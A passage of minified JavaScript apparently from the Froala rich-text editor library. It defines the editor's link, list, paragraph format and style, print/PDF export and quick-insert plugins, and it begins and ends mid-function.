e(){m.events.on("keyup",function(e){e.which!=kt.KEYCODE.ESC&&E(e)}),m.events.on("window.mouseup",E),m.events.$on(m.$el,"click","a",function(e){m.edit.isDisabled()&&e.preventDefault()}),m.helpers.isMobile()&&m.events.$on(m.$doc,"selectionchange",E),s(!0),"A"==m.el.tagName&&m.$el.addClass("fr-view"),m.events.on("toolbar.esc",function(){if(m.popups.isVisible("link.edit"))return m.events.disableBlur(),m.events.focus(),!1},!0)},remove:function r(){var e=b(),t=m.image?m.image.get():null;if(!1===m.events.trigger("link.beforeRemove",[e]))return!1;if(t&&e)if(m.image.hasCaption()){t.addClass("img-link-caption"),v(e).replaceWith(v(e).html());var n=document.querySelectorAll("img.img-link-caption");m.image.edit(v(n[0])),v(n[0]).removeClass("img-link-caption")}else t.unwrap(),m.image.edit(t);else e&&(m.selection.save(),v(e).replaceWith(v(e).html()),m.selection.restore(),o())},showInsertPopup:function p(){var e=m.$tb.find('.fr-command[data-cmd="insertLink"]'),t=m.popups.get("link.insert");if(t||(t=s()),!t.hasClass("fr-active"))if(m.popups.refresh("link.insert"),m.popups.setContainer("link.insert",m.$tb||m.$sc),e.isVisible()){var n=m.button.getPosition(e),r=n.left,a=n.top;m.popups.show("link.insert",r,a,e.outerHeight())}else m.position.forSelection(t),m.popups.show("link.insert")},usePredefined:function u(e){var t,n,r=m.opts.linkList[e],a=m.popups.get("link.insert"),o=a.find('input.fr-link-attr[type="text"]'),i=a.find('input.fr-link-attr[type="checkbox"]');for(r.rel&&(a.rel=r.rel),n=0;n<o.length;n++)r[(t=v(o[n])).attr("name")]?(t.val(r[t.attr("name")]),t.toggleClass("fr-not-empty",!0)):"text"!=t.attr("name")&&t.val("");for(n=0;n<i.length;n++)(t=v(i[n])).attr("checked",t.data("checked")==r[t.attr("name")]);m.accessibility.focusPopup(a)},insertCallback:function h(){var e,t,n=m.popups.get("link.insert"),r=n.find('input.fr-link-attr[type="text"]'),a=n.find('input.fr-link-attr[type="checkbox"]'),o=(r.filter('[name="href"]').val()||"").trim(),i=m.opts.linkText?r.filter('[name="text"]').val():"",s={};for(t=0;t<r.length;t++)e=v(r[t]),["href","text"].indexOf(e.attr("name"))<0&&(s[e.attr("name")]=e.val());for(t=0;t<a.length;t++)(e=v(a[t])).is(":checked")?s[e.attr("name")]=e.data("checked"):s[e.attr("name")]=e.data("unchecked")||null;n.rel&&(s.rel=n.rel);var l=m.helpers.scrollTop();c(o,i,s),v(m.o_win).scrollTop(l)},insert:c,update:d,get:b,allSelected:C,back:function t(){m.image&&m.image.get()?m.image.back():(m.events.disableBlur(),m.selection.restore(),m.events.enableBlur(),b()&&m.$wp?(m.selection.restore(),o(),E()):"A"==m.el.tagName?(m.$el.focus(),E()):(m.popups.hide("link.insert"),m.toolbar.showInline()))},imageLink:f,applyStyle:function g(e,t,n){void 0===n&&(n=m.opts.linkMultipleStyles),void 0===t&&(t=m.opts.linkStyles);var r=b();if(!r)return!1;if(!n){var a=Object.keys(t);a.splice(a.indexOf(e),1),v(r).removeClass(a.join(" "))}v(r).toggleClass(e),E()}}},kt.DefineIcon("insertLink",{NAME:"link",SVG_KEY:"insertLink"}),kt.RegisterShortcut(kt.KEYCODE.K,"insertLink",null,"K"),kt.RegisterCommand("insertLink",{title:"Insert Link",undo:!1,focus:!0,refreshOnCallback:!1,popup:!0,callback:function(){this.popups.isVisible("link.insert")?(this.$el.find(".fr-marker").length&&(this.events.disableBlur(),this.selection.restore()),this.popups.hide("link.insert")):this.link.showInsertPopup()},plugin:"link"}),kt.DefineIcon("linkOpen",{NAME:"external-link",FA5NAME:"external-link-alt",SVG_KEY:"openLink"}),kt.RegisterCommand("linkOpen",{title:"Open Link",undo:!1,refresh:function(e){this.link.get()?e.removeClass("fr-hidden"):e.addClass("fr-hidden")},callback:function(){var e=this.link.get();e&&(-1!==e.href.indexOf("mailto:")?this.o_win.open(e.href).close():(e.target||(e.target="_self"),this.browser.msie||this.browser.edge?this.o_win.open(e.href,e.target):this.o_win.open(e.href,e.target,"noopener")),this.popups.hide("link.edit"))},plugin:"link"}),kt.DefineIcon("linkEdit",{NAME:"edit",SVG_KEY:"edit"}),kt.RegisterCommand("linkEdit",{title:"Edit Link",undo:!1,refreshAfterCallback:!1,popup:!0,callback:function(){this.link.update()},refresh:function(e){this.link.get()?e.removeClass("fr-hidden"):e.addClass("fr-hidden")},plugin:"link"}),kt.DefineIcon("linkRemove",{NAME:"unlink",SVG_KEY:"unlink"}),kt.RegisterCommand("linkRemove",{title:"Unlink",callback:function(){this.link.remove()},refresh:function(e){this.link.get()?e.removeClass("fr-hidden"):e.addClass("fr-hidden")},plugin:"link"}),kt.DefineIcon("linkBack",{NAME:"arrow-left",SVG_KEY:"back"}),kt.RegisterCommand("linkBack",{title:"Back",undo:!1,focus:!1,back:!0,refreshAfterCallback:!1,callback:function(){this.link.back()},refresh:function(e){var t=this.link.get()&&this.doc.hasFocus();(this.image?this.image.get():null)||t||this.opts.toolbarInline?(e.removeClass("fr-hidden"),e.next(".fr-separator").removeClass("fr-hidden")):(e.addClass("fr-hidden"),e.next(".fr-separator").addClass("fr-hidden"))},plugin:"link"}),kt.DefineIcon("linkList",{NAME:"search",SVG_KEY:"search"}),kt.RegisterCommand("linkList",{title:"Choose Link",type:"dropdown",focus:!1,undo:!1,refreshAfterCallback:!1,html:function(){for(var e='<ul class="fr-dropdown-list" role="presentation">',t=this.opts.linkList,n=0;n<t.length;n++)e+='<li role="presentation"><a class="fr-command" tabIndex="-1" role="option" data-cmd="linkList" data-param1="'.concat(n,'">').concat(t[n].displayText||t[n].text,"</a></li>");return e+="</ul>"},callback:function(e,t){this.link.usePredefined(t)},plugin:"link"}),kt.RegisterCommand("linkInsert",{focus:!1,refreshAfterCallback:!1,callback:function(){this.link.insertCallback()},refresh:function(e){this.link.get()?e.text(this.language.translate("Update")):e.text(this.language.translate("Insert"))},plugin:"link"}),kt.DefineIcon("imageLink",{NAME:"link",SVG_KEY:"insertLink"}),kt.RegisterCommand("imageLink",{title:"Insert Link",undo:!1,focus:!1,popup:!0,callback:function(){this.link.imageLink()},refresh:function(e){var t;this.link.get()?((t=e.prev()).hasClass("fr-separator")&&t.removeClass("fr-hidden"),e.addClass("fr-hidden")):((t=e.prev()).hasClass("fr-separator")&&t.addClass("fr-hidden"),e.removeClass("fr-hidden"))},plugin:"link"}),kt.DefineIcon("linkStyle",{NAME:"magic",SVG_KEY:"linkStyles"}),kt.RegisterCommand("linkStyle",{title:"Style",type:"dropdown",html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t=this.opts.linkStyles;for(var n in t)t.hasOwnProperty(n)&&(e+='<li role="presentation"><a class="fr-command" tabIndex="-1" role="option" data-cmd="linkStyle" data-param1="'.concat(n,'">').concat(this.language.translate(t[n]),"</a></li>"));return e+="</ul>"},callback:function(e,t){this.link.applyStyle(t)},refreshOnShow:function(e,t){var n=this.$,r=this.link.get();if(r){var a=n(r);t.find(".fr-command").each(function(){var e=n(this).data("param1"),t=a.hasClass(e);n(this).toggleClass("fr-active",t).attr("aria-selected",t)})}},refresh:function(e){this.link.get()?e.removeClass("fr-hidden"):e.addClass("fr-hidden")},plugin:"link"}),Object.assign(kt.DEFAULTS,{listAdvancedTypes:!0}),kt.PLUGINS.lists=function(h){var g=h.$;function m(e){return'<span class="fr-open-'.concat(e.toLowerCase(),'"></span>')}function v(e){return'<span class="fr-close-'.concat(e.toLowerCase(),'"></span>')}function c(e,t){!function c(e,t){for(var n=[],r=0;r<e.length;r++){var a=e[r].parentNode;"LI"==e[r].tagName&&a.tagName!=t&&n.indexOf(a)<0&&n.push(a)}for(var o=n.length-1;0<=o;o--){var i=g(n[o]);i.replaceWith("<".concat(t.toLowerCase()," ").concat(h.node.attributes(i.get(0)),">").concat(i.html(),"</").concat(t.toLowerCase(),">"))}}(e,t);var n,r=h.html.defaultTag(),a=null;e.length&&(n="rtl"==h.opts.direction||"rtl"==g(e[0]).css("direction")?"margin-right":"margin-left");for(var o=0;o<e.length;o++)if("TD"!=e[o].tagName&&"TH"!=e[o].tagName&&"LI"!=e[o].tagName){var i=h.helpers.getPX(g(e[o]).css(n))||0;(e[o].style.marginLeft=null)===a&&(a=i);var s=0<a?"<".concat(t,' style="').concat(n,": ").concat(a,'px ">'):"<".concat(t,">"),l="</".concat(t,">");for(i-=a;0<i/h.opts.indentMargin;)s+="</".concat(t,">"),l+=l,i-=h.opts.indentMargin;r&&e[o].tagName.toLowerCase()==r?g(e[o]).replaceWith("".concat(s,"<li").concat(h.node.attributes(e[o]),">").concat(g(e[o]).html(),"</li>").concat(l)):g(e[o]).wrap("".concat(s,"<li></li>").concat(l))}h.clean.lists()}function d(e){var t,n,r=[];for(t=e.length-1;0<=t;t--)for(n=t-1;0<=n;n--){if(g(e[n]).find(e[t]).length||e[n]==e[t]){g(e[t]).addClass("fr-removed-block-".concat(t)),r.push(t),e.splice(t,1);break}if(g(e[n]).contains(e[t])){g(e[n]).addClass("fr-removed-block-".concat(n)),r.push(n),e.splice(n,1);break}}var a=[],o=!1;for(t=0;t<e.length;t++){var i=g(e[t]),s=e[t].parentNode,l=i.attr("class");if(i.is(":first-child")&&(o=!0,g(s.parentNode).removeAttr("start")),i.before(v(s.tagName)),"LI"==s.parentNode.tagName){if(i.is(":last-child")){var c=i.find("> ul, > ol").last();c.length&&c.wrap("<".concat(s.tagName,">"))}i.before(v("LI")),i.after(m("LI"))}else if("OL"==s.parentNode.tagName)o||(i.before(v("OL")),i.after(m("OL")));else if("UL"==s.parentNode.tagName)o||(i.before(v("UL")),i.after(m("UL")));else{var d="";l&&(d+=' class="'.concat(l,'"'));var f="rtl"==h.opts.direction||"rtl"==i.css("direction")?"margin-right":"margin-left";h.helpers.getPX(g(s).css(f))&&0<=(g(s).attr("style")||"").indexOf("".concat(f,":"))&&(d+=' style="'.concat(f,":").concat(h.helpers.getPX(g(s).css(f)),'px;"')),h.html.defaultTag()&&0===i.find(h.html.blockTagsQuery()).length&&i.wrapInner(h.html.defaultTag()+d),h.node.isEmpty(i.get(0),!0)||0!==i.find(h.html.blockTagsQuery()).length||("DIV"==s.parentNode.tagName&&h.html.defaultTag()?(i.prepend(m(h.html.defaultTag())),i.append(v(h.html.defaultTag()))):i.append("<br>")),i.append(m("LI")),i.prepend(v("LI"))}i.after(m(s.tagName)),"LI"==s.parentNode.tagName&&(s=s.parentNode.parentNode),a.indexOf(s)<0&&a.push(s)}for(t=0;t<a.length;t++){var p=g(a[t]),u=p.html();u=(u=u.replace(/<span class="fr-close-([a-z]*)"><\/span>/g,"</$1>")).replace(/<span class="fr-open-([a-z]*)"><\/span>/g,"<$1>"),p.replaceWith(h.node.openTagString(p.get(0))+u+h.node.closeTagString(p.get(0)))}return h.$el.find("li:empty").remove(),h.$el.find("ul:empty, ol:empty").remove(),h.clean.lists(),h.$el.find("ul:empty, ol:empty").remove(),h.html.wrap(),r}function u(e,t){var n=g(document.createElement("li"));if(e.childNodes.length)for(var r=e.childNodes[0].attributes,a=0;a<r.length;a++){var o=r[a];"style"===o.name&&(n[0].style.cssText+=o.value)}g(e).prepend(n),g(e).removeAttr("start");for(var i=h.node.contents(t)[0];i&&!h.node.isList(i);){var s=i.nextSibling;n.append(i),i=s}}function e(e){if("indent"==e||"outdent"==e){var t=!1,n=h.selection.blocks(!1,!0),r=[],a=n[0].previousSibling||n[0].parentElement;if("outdent"==e){if("UL"!=n[0].parentNode.tagName&&"UL"!=a.parentNode.tagName&&"OL"!=a.parentNode.tagName&&"LI"!=a.parentNode.tagName)return;if(!n[0].previousSibling&&"none"==a.parentNode.style.listStyleType)return void function i(e){for(h.selection.save();0<e.childNodes.length;)e.parentNode.parentNode.append(e.childNodes[0]);h.clean.lists(),h.selection.restore()}(a)}else{if("UL"!=n[0].parentElement.tagName&&"OL"!=n[0].parentElement.tagName&&"LI"!=n[0].parentElement.tagName)return;if(h.node.isBlock(n[0])&&"LI"!==n[0].tagName&&0<g(n[0]).parentsUntil(h.$el,"LI").length&&(n[0]=n[0].parentElement,a=n[0].parentElement),!n[0].previousSibling||"LI"!=n[0].previousSibling.tagName){if(0==g(n[0]).parents("li").length)return void function s(e){h.selection.save();var t="OL"==e.tagName?document.createElement("ol"):document.createElement("ul");for(g(t).css("list-style-type",g(e).css("list-style-type"));0<e.childNodes.length;)t.append(e.childNodes[0]);var n=document.createElement("li");t.append(n),e.append(t),h.clean.lists(),h.selection.restore()}(a);t=!0}}for(var o=0;o<n.length;o++)"LI"==n[o].tagName?(t=!0,r.push(n[o])):"LI"==n[o].parentNode.tagName&&r.indexOf(n[o].parentNode)<0&&(t=!0,r.push(n[o].parentNode));t&&("indent"==e?function p(e){h.selection.save();for(var t=!1,n=0;n<e.length;n++){var r=e[n].previousSibling;if(r&&"LI"==r.tagName&&!t){var a=g(e[n]).find("> ul, > ol").last().get(0);if(a)u(a,e[n]),g(r).append(g(a)),g(e[n]).remove();else{var o=g(r).find("> ul, > ol").last().get(0);if(o)g(o).append(g(e[n]));else{var i=g("<".concat(e[n].parentNode.tagName,">"));g(r).append(i),i.append(g(e[n]))}}}else if(!r||"OL"!=r.tagName&&"UL"!=r.tagName){var s=e[n].parentNode;if(t=!0,"UL"==s.tagName||"OL"==s.tagName){var l=g(e[n]).find("> ol, > ul"),c=null==e[n].previousSibling;if(l.length){var d=l.first().get(0);u(d,e[n]),c?g(s).prepend(g(d)):g(s).append(g(d)),g(e[n]).remove()}else g(e[n]).wrap("<".concat(s.tagName,">"));c&&0<g(s).find("> li").length&&g(s).attr("start","2")}}else{var f=g(e[n]).find("> ol, > ul").first().get(0);f?(u(f,e[n]),g(r).append(g(f).children()),g(e[n]).remove(),g(f).remove()):g(r).append(g(e[n]))}}h.clean.lists(),h.selection.restore()}(r):function l(e){h.selection.save();var t=[];do{t=d(e),e=[];for(var n=0;n<t.length;n++){var r=h.$el.find(".fr-removed-block-".concat(t[n])).first().get(0);g(r).removeClass("fr-removed-block-".concat(t[n])),""==g(r).attr("class")&&g(r).removeAttr("class"),e.push(r)}}while(0<t.length);h.selection.restore()}(r))}}return{_init:function t(){h.events.on("commands.after",e),h.events.on("keydown",function(e){if(e.which==kt.KEYCODE.TAB){for(var t=h.selection.blocks(),n=[],r=0;r<t.length;r++)"LI"==t[r].tagName?n.push(t[r]):"LI"==t[r].parentNode.tagName&&n.push(t[r].parentNode);if(1<=n.length||n.length&&(h.selection.info(n[0]).atStart||h.node.isEmpty(n[0])))return e.preventDefault(),e.stopPropagation(),e.shiftKey?h.commands.outdent():h.commands.indent(),!1}},!0)},format:function f(e,t){var n,r,a=1<(r=h.selection.blocks(!0)).length&&r[r.length-1],o=h.selection.ranges();if(a&&o.length&&h.node.isEmpty(a)&&!o[0].endOffset&&o[0].setEndAfter(a.firstChild,1),h.html.syncInputs(),h.selection.save(),h.browser.safari&&h.helpers.getSafariVersion()<17){var i=h.selection.ranges();if(o&&o[0].endContainer&&i&&i[0].endContainer&&!o[0].endContainer.isSameNode(i[0].endContainer)&&o[0].endContainer.previousSibling&&o[0].endContainer.previousSibling.isSameNode(i[0].endContainer)){var s=g(i[0].endContainer).find('.fr-marker[data-type="false"]');g(o[0].endContainer).append(s[0])}}for(h.html.wrap(!0,!0,!0,!0),h.selection.restore(),r=h.selection.blocks(!0),n=0;n<r.length;n++)"LI"!=r[n].tagName&&"LI"==r[n].parentNode.tagName&&(r[n]=r[n].parentNode);if(h.selection.save(),function l(e,t){for(var n=!0,r=0;r<e.length;r++){if("LI"!=e[r].tagName)return!1;e[r].parentNode.tagName!=t&&(n=!1)}return n}(r,e)?t||d(r):c(r,e),h.html.unwrap(),h.selection.restore(),t=t||"default"){for(r=h.selection.blocks(),n=0;n<r.length;n++)"LI"!=r[n].tagName&&"LI"==r[n].parentNode.tagName&&(r[n]=r[n].parentNode);for(n=0;n<r.length;n++)"LI"==r[n].tagName&&(g(r[n].parentNode).css("list-style-type","default"===t?"":t),0===(g(r[n].parentNode).attr("style")||"").length&&g(r[n].parentNode).removeAttr("style"))}},refresh:function a(e,t){var n=g(h.selection.element());if(n.get(0)!=h.el){var r=n.get(0);(r="LI"!=r.tagName&&r.firstElementChild&&"LI"!=r.firstElementChild.tagName?n.parents("li").get(0):"LI"==r.tagName||r.firstElementChild?r.firstElementChild&&"LI"==r.firstElementChild.tagName?n.get(0).firstChild:n.get(0):n.parents("li").get(0))&&r.parentNode.tagName==t&&h.el.contains(r.parentNode)&&e.addClass("fr-active")}}}},kt.DefineIcon("formatOLSimple",{NAME:"list-ol",SVG_KEY:"orderedList"}),kt.RegisterCommand("formatOLSimple",{title:"Ordered List",type:"button",options:{"default":"Default",circle:"Circle",disc:"Disc",square:"Square"},refresh:function(e){this.lists.refresh(e,"OL")},callback:function(e,t){this.lists.format("OL",t)},plugin:"lists"}),kt.RegisterCommand("formatUL",{title:"Unordered List",type:"button",hasOptions:function(){return this.opts.listAdvancedTypes},options:{"default":"Default",circle:"Circle",disc:"Disc",square:"Square"},refresh:function(e){this.lists.refresh(e,"UL")},callback:function(e,t){this.lists.format("UL",t)},plugin:"lists"}),kt.RegisterCommand("formatOL",{title:"Ordered List",hasOptions:function(){return this.opts.listAdvancedTypes},options:{"default":"Default","lower-alpha":"Lower Alpha","lower-greek":"Lower Greek","lower-roman":"Lower Roman","upper-alpha":"Upper Alpha","upper-roman":"Upper Roman"},refresh:function(e){this.lists.refresh(e,"OL")},callback:function(e,t){this.lists.format("OL",t)},plugin:"lists"}),kt.DefineIcon("formatUL",{NAME:"list-ul",SVG_KEY:"unorderedList"}),kt.DefineIcon("formatOL",{NAME:"list-ol",SVG_KEY:"orderedList"}),Object.assign(kt.DEFAULTS,{paragraphFormat:{N:"Normal",H1:"Heading 1",H2:"Heading 2",H3:"Heading 3",H4:"Heading 4",PRE:"Code"},paragraphFormatSelection:!1,paragraphDefaultSelection:"Paragraph Format"}),kt.PLUGINS.paragraphFormat=function(u){var h=u.$;function g(e,t){var n=u.html.defaultTag();if(t&&t.toLowerCase()!=n)if(0<e.find("ul, ol").length){var r=h("<"+t+">");e.prepend(r);for(var a=u.node.contents(e.get(0))[0];a&&["UL","OL"].indexOf(a.tagName)<0;){var o=a.nextSibling;r.append(a),a=o}}else e.html("<"+t+">"+e.html()+"</"+t+">")}return{apply:function m(e){"N"==e&&(e=u.html.defaultTag()),u.selection.save(),u.html.wrap(!0,!0,!u.opts.paragraphFormat.BLOCKQUOTE,!0,!0),u.selection.restore();var t,n,r,a,o,i,s,l,c=u.selection.blocks();u.selection.save(),u.$el.find("pre").attr("skip",!0);for(var d=0;d<c.length;d++)if(c[d].tagName!=e&&!u.node.isList(c[d])){var f=h(c[d]);if("LI"==c[d].tagName)g(f,e);else if("LI"==c[d].parentNode.tagName&&c[d])i=f,s=e,l=u.html.defaultTag(),s&&s.toLowerCase()!=l||(s='div class="fr-temp-div"'),i.replaceWith(h("<"+s+">").html(i.html()));else if(0<=["TD","TH"].indexOf(c[d].parentNode.tagName))r=f,a=e,o=u.html.defaultTag(),a||(a='div class="fr-temp-div"'+(u.node.isEmpty(r.get(0),!0)?' data-empty="true"':"")),a.toLowerCase()==o?(u.node.isEmpty(r.get(0),!0)||r.append("<br/>"),r.replaceWith(r.html())):r.replaceWith(h("<"+a+">").html(r.html()));else{if("PRE"===e&&null===f[0].nextSibling){var p=h("<br>");f[0].after(p[0])}t=f,(n=e)||(n='div class="fr-temp-div"'+(u.node.isEmpty(t.get(0),!0)?' data-empty="true"':"")),("H1"==n||"H2"==n||"H3"==n||"H4"==n||"H5"==n)&&-1<u.node.attributes(t.get(0)).indexOf("font-size:")?t.replaceWith(h("<"+n+" "+u.node.attributes(t.get(0)).replace(/font-size:[0-9]+px;?/,"")+">").html(t.html()).removeAttr("data-empty")):t.replaceWith(h("<"+n+" "+u.node.attributes(t.get(0))+">").html(t.html()).removeAttr("data-empty"))}}u.$el.find('pre:not([skip="true"]) + pre:not([skip="true"])').each(function(){h(this).prev().append("<br>"+h(this).html()),h(this).remove()}),u.$el.find("pre").removeAttr("skip"),u.html.unwrap(),u.selection.restore()},refreshOnShow:function i(e,t){var n=u.selection.blocks();if(n.length){var r=n[0],a="N",o=u.html.defaultTag();r.tagName.toLowerCase()!=o&&r!=u.el&&(a=r.tagName),t.find('.fr-command[data-param1="'+a+'"]').addClass("fr-active").attr("aria-selected",!0)}else t.find('.fr-command[data-param1="N"]').addClass("fr-active").attr("aria-selected",!0)},refresh:function o(e){if(u.opts.paragraphFormatSelection){var t=u.selection.blocks();if(t.length){var n=t[0],r="N",a=u.html.defaultTag();n.tagName.toLowerCase()!=a&&n!=u.el&&(r=n.tagName),0<=["LI","TD","TH"].indexOf(r)&&(r="N"),e.find(">span").text(u.language.translate(u.opts.paragraphFormat[r]))}else e.find(">span").text(u.language.translate(u.opts.paragraphFormat.N))}}}},kt.RegisterCommand("paragraphFormat",{type:"dropdown",displaySelection:function(e){return e.opts.paragraphFormatSelection},defaultSelection:function(e){return e.language.translate(e.opts.paragraphDefaultSelection)},displaySelectionWidth:80,html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t=this.opts.paragraphFormat;for(var n in t)if(t.hasOwnProperty(n)){var r=this.shortcuts.get("paragraphFormat."+n);r=r?'<span class="fr-shortcut">'+r+"</span>":"",e+='<li role="presentation"><'+("N"==n?this.html.defaultTag()||"DIV":n)+' style="padding: 0 !important; margin: 0 !important; border: 0 !important; background-color: transparent !important; '+("PRE"==n||"N"==n?"font-size: 15px":"font-weight: bold !important; ")+("H1"==n?"font-size: 2em !important; ":"")+("H2"==n?"font-size: 1.5em !important; ":"")+("H3"==n?"font-size: 1.17em !important; ":"")+("H4"==n?"font-size: 15px !important;":"")+'" role="presentation"><a class="fr-command" tabIndex="-1" role="option" data-cmd="paragraphFormat" data-param1="'+n+'" title="'+this.language.translate(t[n])+'">'+this.language.translate(t[n])+"</a></"+("N"==n?this.html.defaultTag()||"DIV":n)+"></li>"}return e+="</ul>"},title:"Paragraph Format",callback:function(e,t){this.paragraphFormat.apply(t)},refresh:function(e){this.paragraphFormat.refresh(e)},refreshOnShow:function(e,t){this.paragraphFormat.refreshOnShow(e,t)},plugin:"paragraphFormat"}),kt.DefineIcon("paragraphFormat",{NAME:"paragraph",SVG_KEY:"paragraphFormat"}),Object.assign(kt.DEFAULTS,{paragraphStyles:{"fr-text-gray":"Gray","fr-text-bordered":"Bordered","fr-text-spaced":"Spaced","fr-text-uppercase":"Uppercase"},paragraphMultipleStyles:!0}),kt.PLUGINS.paragraphStyle=function(l){var c=l.$;return{_init:function e(){},apply:function d(e,t,n){void 0===t&&(t=l.opts.paragraphStyles),void 0===n&&(n=l.opts.paragraphMultipleStyles);var r="";n||((r=Object.keys(t)).splice(r.indexOf(e),1),r=r.join(" ")),l.selection.save(),l.html.wrap(!0,!0,!0,!0),l.selection.restore();var a=l.selection.blocks();l.selection.save();for(var o=c(a[0]).hasClass(e),i=0;i<a.length;i++)c(a[i]).removeClass(r).toggleClass(e,!o),c(a[i]).hasClass("fr-temp-div")&&c(a[i]).removeClass("fr-temp-div"),""===c(a[i]).attr("class")&&c(a[i]).removeAttr("class");if(1===a.length&&"fr-text-bordered"===e&&null===a[0].nextSibling){var s=c("<br>");a[0].after(s[0])}l.html.unwrap(),l.selection.restore()},refreshOnShow:function a(e,t){var n=l.selection.blocks();if(n.length){var r=c(n[0]);t.find(".fr-command").each(function(){var e=c(this).data("param1"),t=r.hasClass(e);c(this).toggleClass("fr-active",t).attr("aria-selected",t)})}}}},kt.RegisterCommand("paragraphStyle",{type:"dropdown",html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t=this.opts.paragraphStyles;for(var n in t)t.hasOwnProperty(n)&&(e+='<li role="presentation"><a class="fr-command '.concat(n,'" tabIndex="-1" role="option" data-cmd="paragraphStyle" data-param1="').concat(n,'" title="').concat(this.language.translate(t[n]),'">').concat(this.language.translate(t[n]),"</a></li>"));return e+="</ul>"},title:"Paragraph Style",callback:function(e,t){this.paragraphStyle.apply(t)},refreshOnShow:function(e,t){this.paragraphStyle.refreshOnShow(e,t)},plugin:"paragraphStyle"}),kt.DefineIcon("paragraphStyle",{NAME:"magic",SVG_KEY:"paragraphStyle"}),Object.assign(kt.DEFAULTS,{html2pdf:window.html2pdf}),kt.PLUGINS.print=function(l){return{run:function e(){!function s(e){var t=l.html.get(),n=null;l.shared.print_iframe?n=l.shared.print_iframe:((n=document.createElement("iframe")).name="fr-print",n.style.position="fixed",n.style.top="0",n.style.left="-9999px",n.style.height="100%",n.style.width="0",n.style.overflow="hidden",n.style["z-index"]="2147483647",n.style.tabIndex="-1",l.events.on("shared.destroy",function(){n.remove()}),l.shared.print_iframe=n);try{document.body.removeChild(n)}catch(i){}document.body.appendChild(n);var r=function(){e(),n.removeEventListener("load",r)};n.addEventListener("load",r);var a=n.contentWindow;a.document.open(),a.document.write("<!DOCTYPE html><html "+(l.opts.documentReady?'style="margin: 0; padding: 0;"':"")+"><head><title>"+document.title+"</title>"),Array.prototype.forEach.call(document.querySelectorAll("style"),function(e){e=e.cloneNode(!0),a.document.write(e.outerHTML)});var o=document.querySelectorAll("link[rel=stylesheet]");Array.prototype.forEach.call(o,function(e){var t=document.createElement("link");t.rel=e.rel,t.href=e.href,t.media="print",t.type="text/css",t.media="all",a.document.write(t.outerHTML)}),a.document.write('</head><body style="height:auto;text-align: '+("rtl"==l.opts.direction?"right":"left")+"; direction: "+l.opts.direction+"; "+(l.opts.documentReady?" padding: 2cm; width: 17cm; margin: 0;":"")+'"><div class="fr-view">'),a.document.write(t),a.document.write("</div></body></html>"),a.document.close()}(function(){setTimeout(function(){l.events.disableBlur(),window.frames["fr-print"].focus(),window.frames["fr-print"].print(),l.$win.get(0).focus(),l.events.disableBlur(),l.events.focus()},0)})},toPDF:function t(){l.opts.html2pdf&&(l.$el.css("text-align","left"),l.opts.html2pdf().set({margin:[10,20],html2canvas:{useCORS:!0}}).from(l.el).save(),setTimeout(function(){l.$el.css("text-align","")},100))}}},kt.DefineIcon("print",{NAME:"print",SVG_KEY:"print"}),kt.RegisterCommand("print",{title:"Print",undo:!1,focus:!1,plugin:"print",callback:function(){this.print.run()}}),kt.DefineIcon("getPDF",{NAME:"file-pdf-o",FA5NAME:"file-pdf",SVG_KEY:"pdfExport"}),kt.RegisterCommand("getPDF",{title:"Download PDF",type:"button",focus:!1,undo:!1,callback:function(){this.print.toPDF()}}),Object.assign(kt.DEFAULTS,{quickInsertButtons:["image","video","embedly","table","ul","ol","hr"],quickInsertTags:["p","div","h1","h2","h3","h4","h5","h6","pre","blockquote"],quickInsertEnabled:!0}),kt.QUICK_INSERT_BUTTONS={},kt.DefineIcon("quickInsert",{SVG_KEY:"add",template:"svg"}),kt.RegisterQuickInsertButton=function(e,t){kt.QUICK_INSERT_BUTTONS[e]=Object.assign({undo:!0},t)},kt.RegisterQuickInsertButton("image",{icon:"insertImage",requiredPlugin:"image",title:"Insert Image",undo:!1,callback:function(){var e=this,t=e.$;e.shared.$qi_image_input||(e.shared.$qi_image_input=t(document.createElement("input")).attr("accept","image/"+e.opts.imageAllowedTypes.join(", image/").toLowerCase()).attr("name","quickInsertImage".concat(this.id)).attr("style","display: none;").attr("type","file"),t("body").first().append(e.shared.$qi_image_input),e.events.$on(e.shared.$qi_image_input,"change",function(){var e=t(this).data("inst");this.files&&(e.quickInsert.hide(),e.image.upload(this.files)),t(this).val("")},!0)),e.$qi_image_input=e.shared.$qi_image_input,e.helpers.isMobile()&&e.selection.save(),e.events.disableBlur(),e.$qi_image_input.data("inst",e)[0].click()}}),kt.RegisterQuickInsertButton("video",{icon:"insertVideo",requiredPlugin:"video",title:"Insert Video",undo:!1,callback:function(){var e=prompt(this.language.translate("Paste the URL of the video you want to insert."));e&&this.video.insertByURL(e)}}),kt.RegisterQuickInsertButton("embedly",{icon:"embedly",requiredPlugin:"embedly",title:"Embed URL",undo:!1,callback:function(){var e=prompt(this.language.translate("Paste the URL of any web content you want to insert."));e&&this.embedly.add(e)}}),kt.RegisterQuickInsertButton("table",{icon:"insertTable",requiredPlugin:"table",title:"Insert Table",callback:function(){this.table.insert(2,2)}}),kt.RegisterQuickInsertButton("ol",{icon:"formatOL",requiredPlugin:"lists",title:"Ordered List",callback:function(){this.lists.format("OL")}}),kt.RegisterQuickInsertButton("ul",{icon:"formatUL",requiredPlugin:"lists",title:"Unordered List",callback:function(){this.lists.format("UL")}}),kt.RegisterQuickInsertButton("hr",{icon:"insertHR",title:"Insert Horizontal Line",callback:function(){this.commands.insertHR()}}),kt.PLUGINS.quickInsert=function(i){var s,l,c=i.$,d=!1;function n(e){var t,n,r;(t=e.offset().top-i.$box.offset().top,n=(i.$iframe&&i.$iframe.offset().left||0)+e.offset().left-e.position().left-4<s.outerWidth()?e.offset().left+s.outerWidth():0-s.outerWidth(),i.opts.enter!=kt.ENTER_BR)?r=(s.outerHeight()-e.outerHeight())/2:(c(document.createElement("span")).html(kt.INVISIBLE_SPACE).insertAfter(e),r=(s.outerHeight()-e.next().outerHeight())/2,e.next().remove());if(i.opts.iframe){var a=i.helpers.getPX(i.$wp.find(".fr-iframe").css("padding-top"));t+=i.$iframe.offset().top+a}s.hasClass("fr-on")&&0<=t&&l.css("top",t-r),0<=t&&t-Math.abs(r)<=i.$box.outerHeight()-e.outerHeight()?(s.hasClass("fr-hidden")&&(s.hasClass("fr-on")&&f(),s.removeClass("fr-hidden")),s.css("top",t-r)):s.hasClass("fr-visible")&&!i.opts.toolbarInline&&(s.addClass("fr-hidden"),p()),s.css("left",n)}function a(e){i.markdown&&i.markdown.isEnabled()||(s||function 